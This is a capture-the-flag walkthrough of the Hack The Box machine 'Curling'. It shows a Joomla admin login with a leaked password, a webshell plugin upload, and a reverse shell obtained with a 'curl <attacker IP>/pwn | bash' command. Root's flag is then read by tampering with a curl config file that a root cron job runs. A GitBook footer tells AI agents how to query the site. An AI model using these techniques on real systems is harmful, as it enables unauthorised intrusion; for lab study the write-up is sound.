> For the complete documentation index, see [llms.txt](https://angellm.gitbook.io/hacknotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angellm.gitbook.io/hacknotes/htb/2022/curling.md).

# Curling

**Date**: 13/06/2022

**Difficulty**: Easy

**CTF**: <https://app.hackthebox.com/machines/Curling>

***

Let’s start testing the connection with the target machine:

<figure><img src="/files/D6e80bb0PdSmq5ntE63Y" alt=""><figcaption></figcaption></figure>

We receive back the packet, so we have connection. Let’s scan the open TCP ports:

<figure><img src="/files/DF9S7RzjLkFIrVViDkLk" alt=""><figcaption></figcaption></figure>

The scan discovered 2 open TCP ports: 22 (ssh) and 80 (http). Let’s try to obtain the service and version running in these ports:

<figure><img src="/files/BECqexUu8qVOmqmdunQR" alt=""><figcaption></figcaption></figure>

We got OpenSSH 7.6p1 running in the port 22.

<figure><img src="/files/0OgOpKIuzGtekJ3Z5rom" alt=""><figcaption></figcaption></figure>

According to launchpad, the target machine should be a Ubuntu Bionic.

And we have an Apache 2.4.29 service running in the port 80. We can also see that is hosting a Joomla. Let’s try to obtain more info of the website using whatweb:

<figure><img src="/files/rH30rPNdZzPNYYEIeUj1" alt=""><figcaption></figcaption></figure>

It doesn’t give us additional useful information. Let’s see how the website looks:

<figure><img src="/files/zkrRvQmsXF1YixLqmSyX" alt=""><figcaption></figcaption></figure>

It looks very simple. There are 3 post written by the user Super User. There is something in the first post that catches my eye, the word `curling2018`. It looks like a password maybe? The post is also signed by Floris, maybe that could be a username?It worth the try.

<figure><img src="/files/4ZetYzh1CO49Rm5lLLBq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OmTkpbtcuDBjzOrJUsfk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1BmOTISMtuhF6KCVFJaF" alt=""><figcaption></figcaption></figure>

Nope, at least not that combination of user and password. I also tried with `admin` and `administrator` usernames.

Let’s see the source code to see if we can obtain the Joomla version:

<figure><img src="/files/QkYg3ll8IvCwpbWWoiw4" alt=""><figcaption></figcaption></figure>

secret.txt? weird… It would be a file accessible?

<figure><img src="/files/iSEBeESmBqNapc9ZJh6i" alt=""><figcaption></figcaption></figure>

Yes… it is. Maybe we can try to login again using that string as a password.

I tried, with no success. The way this string looks… maybe is coded in b64?

<figure><img src="/files/t4wQZj7YizekCjjnxWaf" alt=""><figcaption></figcaption></figure>

Yeah! Let’s try again:

<figure><img src="/files/keNcHfb6azblkt3GGzDT" alt=""><figcaption></figcaption></figure>

Woho! We succeded login with the credentials!

We seen that the SSH port was open, let’s try to use this credentials to gain access to the target machine:

<figure><img src="/files/xBZvSbAmhJfefPswSJ68" alt=""><figcaption></figcaption></figure>

Ok, this credentials are not valid for the SSH connection.

Let’s see if we can access to the administration panel of the Joomla:

<figure><img src="/files/UFu8JIbm2mC8jYQx3VYp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cwc8cJOqxJgZq4HpddNd" alt=""><figcaption></figcaption></figure>

Yup! Let’s see if we can see the version:

<figure><img src="/files/R484vPyLrag2OGNKrzLT" alt=""><figcaption></figcaption></figure>

As we are inside the administration panel, maybe we can install a webshell or a reverse shell php file… Let’s investigate.

After a research, I found this github repo:

<https://github.com/p0dalirius/Joomla-webshell-plugin>

It contains a Joomla extension that we can upload to the website and it will give us a webshell. Pretty cool!

So, let’s follow all the instructions! And try to execute a command!

<figure><img src="/files/F2TQeWXCMvvQRTjkggJi" alt=""><figcaption></figcaption></figure>

Yeah! We succesfully executed the \`ls\` command!

Let’s see if we can ping out machine from the target machine:

<figure><img src="/files/qEIrXb4F7IZHvOyNR3Fp" alt=""><figcaption></figcaption></figure>

Yes we can! Let’s try to establish a revshell to operate more easily:

First of all, I’m going to create a `pwn` file in my system with the payload to establish a reverse shell and share it using a http server:

<figure><img src="/files/fXaF90QY7HDVJbiTYw8p" alt=""><figcaption></figcaption></figure>

Now, I’m going to execute a command that will read that file from my computer and will pipe it to the bash, executing the command:

`curl 10.10.14.234/pwn | bash`

but URL encoded:

`curl%2010.10.14.234%2Fpwn%20%7C%20bash`

<figure><img src="/files/M6B321D1EwF8LU8BLk7U" alt=""><figcaption></figcaption></figure>

And we obtained a revshell.

<figure><img src="/files/AXFHb00WEp0zWlnOPc5a" alt=""><figcaption></figcaption></figure>

We have no permissions to read the user flag, but we can read the password\_backup file:

<figure><img src="/files/yWYLGceSsZnOCOwuijE8" alt=""><figcaption></figcaption></figure>

Let’s copy it in our machine:

<figure><img src="/files/xGTCjRZt4nXuJb0FvrCs" alt=""><figcaption></figcaption></figure>

It looks like an hexadecimal version of something, let’s try to get the original file:

`xxd -revert password_backup password_backup_original`

<figure><img src="/files/UIEbjfKtzwYAZOnbbOoi" alt=""><figcaption></figcaption></figure>

Ok, we got a bzip2 file. Let’s decompress it using bzip2 tool:

<figure><img src="/files/YCiTQjGcIwC2ybqZPLgv" alt=""><figcaption></figcaption></figure>

And… now we have a gzip file… let’s rename it and decompress it:

<figure><img src="/files/GE8naiQY8OS9uO98L3ZK" alt=""><figcaption></figcaption></figure>

And… another bzip2 file… let’s decompress it:

<figure><img src="/files/J3o2E5f0h3dEbQa43dHQ" alt=""><figcaption></figcaption></figure>

Now a POSIX tar. Let’s decompress it too:

<figure><img src="/files/Ok0dwUV9U37MKnnhffY2" alt=""><figcaption></figcaption></figure>

Finally a txt file!

Ok, it’s a strange password, but let’s try to use it to login as `floris` via SSH:

<figure><img src="/files/Rj0T7zviUu6qXsxzyBzO" alt=""><figcaption></figcaption></figure>

Yeah, we are in! Let’s read the user flag:

<figure><img src="/files/8EAIaFmNLPdS7b0bPLnv" alt=""><figcaption></figcaption></figure>

Now we have to escalate our privileges… Let’s start looking if we have sudo privileges:

<figure><img src="/files/oAgmLNnzxCGY9qcJ7LJk" alt=""><figcaption></figcaption></figure>

Nothing. Let’s look for SUID binaries:

<figure><img src="/files/nri4HiRP82HXcDEN2qCj" alt=""><figcaption></figcaption></figure>

None of them (except polkit) can be used to escalate… Let’s look for binaries with capabilities:

<figure><img src="/files/wNKEb9os1l2Mmf6uvPBb" alt=""><figcaption></figcaption></figure>

Nothing useful. Maybe there is a cronjob?

<figure><img src="/files/JVUBH7WCgMcHibNMdhqN" alt=""><figcaption></figcaption></figure>

Nope. Maybe can we edit something that is in the PATH?

<figure><img src="/files/w7TrKG2IPV5senGHPnB7" alt=""><figcaption></figcaption></figure>

Ok, I’m out of ideas, so let’s go back to the initial point. There is a folder we have not inspected yet.

The modification date of the files was suspicious, I waited a minute to confirm that they are being updated each minute.

<figure><img src="/files/fWiKkH1oAL7QXPN8VxR3" alt=""><figcaption></figcaption></figure>

Nice moment to use pspy to see what’s going on.

<figure><img src="/files/i6QQFwQ8TAmKKlLFa4UL" alt=""><figcaption></figcaption></figure>

each minute, the input file is being overwritten and after that, a curl command is being executed. I’m sure I can use this to escalate or, at least, to read the /root/root.txt flag.

<figure><img src="/files/QGMNbxVhngpaF9Y65pob" alt=""><figcaption></figcaption></figure>

the `-K` option reads the config from input file.

<figure><img src="/files/mkazcqxXpoMct3NSce7n" alt=""><figcaption></figcaption></figure>

The input is pointing to [localhost](http://localhost) IP.

Ok, so I think that there are some possibilities:

1. Try to edit the content of `input` file after the script that executes each minute does it and before the automatic `curl` command.
2. Try to redirect the [localhost](http://localhost) to other folder instead of `/var/www/http`
3. Try to include a file into the web the curl is requesting that only root has access to (/root/root.txt)

Let’s start with the first one.

<figure><img src="/files/elIEDmqgbxdSySuUaWtd" alt=""><figcaption></figcaption></figure>

After looking to the pspy a while, we can recognize some scripts being executed:

* `/bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input` : This script is waiting 1 second, and then, copying the content of the file **default.txt** inside the **input** file
* `curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report` : This script is doing a **curl** to the url inside the **input** file and saving the response inside the file **report**

I’m thinking that, as the first script is waiting 1 second before executing the curl, maybe is executing after the curl script. This would mean that if we edit the input file, the curl may use our URL instead of the default one? Let’s try.

As `curl` accepts the `url="file//path-to-file"` parameter, we can point to `/root/root.txt` hoping the flag is there. If it’s there and this script is executing first, we should copy the content of the flag into the `report` file. We have to be fast, as after 1 minute, the cult command will use the default input file and will overwrite the report file.

<figure><img src="/files/jcQCiEDqeBJprBkbxDyd" alt=""><figcaption></figcaption></figure>

So, I have changed the content of `input`. As can be seen in the bottom of the image, after the change, the report remains as the webpage content.

<figure><img src="/files/k4sFjifBLpJtUEPGlvco" alt=""><figcaption></figcaption></figure>

After a minute I performed a `cat report` command, and voila! We got the root flag content.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://angellm.gitbook.io/hacknotes/htb/2022/curling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
